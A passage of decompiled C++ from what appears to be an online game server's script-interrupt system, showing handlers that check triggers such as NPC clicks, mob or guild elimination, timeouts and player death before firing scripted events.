ScriptInterrupt::ScriptInterruptUnitBase *v8; // ebx@1 int v9; // eax@2 bool v10; // zf@2 char result; // al@4 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__thiscall *)(_DWORD, _DWORD))v8->baseclass_0.vfptr[1].sib_AreaEntry)(v8, arg); if ( arg->sib_InterruptBlast ) { arg->sib_InterruptBlast = 0; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); ((void (__thiscall *)(_DWORD, _DWORD))v8->baseclass_0.vfptr[1].sib_AreaLeave)(v8, argument); v9 = arg->sib_BlastNumber - 1; v10 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v9; if ( v9 < 0 | v10 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); result = 0; } return result; } //----- (004C9070) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // esi@2 bool v9; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { arg->sib_InterruptBlast = 0; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; v9 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v8; if ( v8 < 0 | v9 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); result = 0; } return result; } //----- (004C9180) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); result = 0; } return result; } //----- (004C92A0) -------------------------------------------------------- #error "4C92A0: undefined or illegal type '#325' (funcsize=120)" //----- (004C9440) -------------------------------------------------------- #error "4C9440: undefined or illegal type '#325' (funcsize=121)" //----- (004C95E0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_Argument.area.player; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004C9700) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); result = 0; } return result; } //----- (004C9820) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); result = 0; } return result; } //----- (004C9940) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_Argument.area.player; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004C9A60) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptMobEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // eax@2 char result; // al@4 AxialListMobCounter almc; // [sp+Ch] [bp-24h]@1 int v11; // [sp+2Ch] [bp-4h]@1 char arga; // [sp+34h] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; AxialListIterator::AxialListIterator(&almc.baseclass_0); almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.almc_MobID = -1; almc.almc_GuildRegNum = 0; almc.almc_Counter = 0; almc.almc_MaxCount = 1; almc.almc_Search = AxialListMobCounter::ala_SearchAll; LOBYTE(v11) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( almc.almc_Counter ) { arga = arg->sib_InterruptBlast; LOBYTE(v11) = 0; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); result = arga; } else { arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v8; if ( v8 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v11) = 0; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); result = 1; } return result; } // 5BDE70: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C9BE0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // eax@2 char result; // al@4 AxialListMobCounter almc; // [sp+Ch] [bp-24h]@1 int v11; // [sp+2Ch] [bp-4h]@1 char arga; // [sp+34h] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; AxialListIterator::AxialListIterator(&almc.baseclass_0); almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.almc_MobID = -1; almc.almc_GuildRegNum = 0; almc.almc_Counter = 0; almc.almc_MaxCount = 1; almc.almc_Search = AxialListMobCounter::ala_SearchPly; LOBYTE(v11) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( almc.almc_Counter ) { arga = arg->sib_InterruptBlast; LOBYTE(v11) = 0; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); result = arga; } else { arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v8; if ( v8 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v11) = 0; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); result = 1; } return result; } // 5BDE70: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C9D60) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptGuildEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { unsigned int v8; // esi@1 int v9; // eax@6 char v11; // al@9 AxialListMobCounter almc; // [sp+Ch] [bp-24h]@1 int v13; // [sp+2Ch] [bp-4h]@1 char arga; // [sp+34h] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = *(_DWORD *)&arg->sib_Argument.area.areaname[0]; v13 = 0; AxialListIterator::AxialListIterator(&almc.baseclass_0); almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.almc_MobID = -1; almc.almc_GuildRegNum = v8; almc.almc_Counter = 0; almc.almc_MaxCount = 1; almc.almc_Search = AxialListMobCounter::ala_SearchGld; LOBYTE(v13) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( almc.almc_Counter ) { v11 = arg->sib_InterruptBlast; *(_DWORD *)&arg->sib_Argument.area.areaname[8] = 0; arga = v11; goto LABEL_10; } if ( !*(_DWORD *)&arg->sib_Argument.area.areaname[8] ) *(_DWORD *)&arg->sib_Argument.area.areaname[8] = clockwatch.cw_CurrTick; if ( *(_DWORD *)&arg->sib_Argument.area.areaname[8] + *(_DWORD *)&arg->sib_Argument.area.areaname[4] > clockwatch.cw_CurrTick ) { arga = arg->sib_InterruptBlast; LABEL_10: almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; LOBYTE(v13) = 0; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); return arga; } *(_DWORD *)&arg->sib_Argument.area.areaname[8] = 0; arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v9 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v9; if ( v9 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v13) = 0; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); return 1; } // 5BDE70: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C9F30) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck(ScriptInterrupt::ScriptInterruptInterval *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // esi@1 unsigned int v9; // ecx@1 char result; // al@2 int v11; // ecx@3 bool v12; // zf@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v8 = funcallanalizer.fca_stackpoint++ + 1; v9 = *(_DWORD *)&arg->sib_Argument.area.areaname[4]; if ( v9 <= clockwatch.cw_CurrTick ) { *(_DWORD *)&arg->sib_Argument.area.areaname[4] = v9 + *(_DWORD *)&arg->sib_Argument.area.areaname[0]; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v11 = arg->sib_BlastNumber - 1; v12 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v11; if ( v11 < 0 | v12 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); result = 1; } else { funcallanalizer.fca_stackpoint = v8 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); result = 0; } return result; } //----- (004CA050) -------------------------------------------------------- #error "4CA050: undefined or illegal type '#325' (funcsize=133)" //----- (004CA210) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTimeOut *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { char result; // al@2 int v9; // eax@3 bool v10; // zf@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Movie::TimeLimit::tl_LeftTick(timelimit) <= 0 ) { v9 = arg->sib_BlastNumber - 1; v10 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v9; if ( v9 < 0 | v10 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); result = 0; } return result; } //----- (004CA310) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // eax@2 bool v9; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; v9 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v8; if ( v8 < 0 | v9 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); result = 0; } return result; } //----- (004CA410) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[2]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); result = 0; } return result; } //----- (004CA530) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); result = 0; } return result; } //----- (004CA650) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { char v8; // al@1 int v9; // ST00_4@2 PineScriptToken *v10; // eax@2 char result; // al@2 PineScriptToken thisa; // [sp+4h] [bp-10Ch]@2 int v13; // [sp+10Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = arg->sib_InterruptBlast; v13 = 0; if ( v8 ) { PineScriptToken::PineScriptToken(&thisa, arg->sib_Argument.area.areaname); memcpy(eventblock, &thisa, 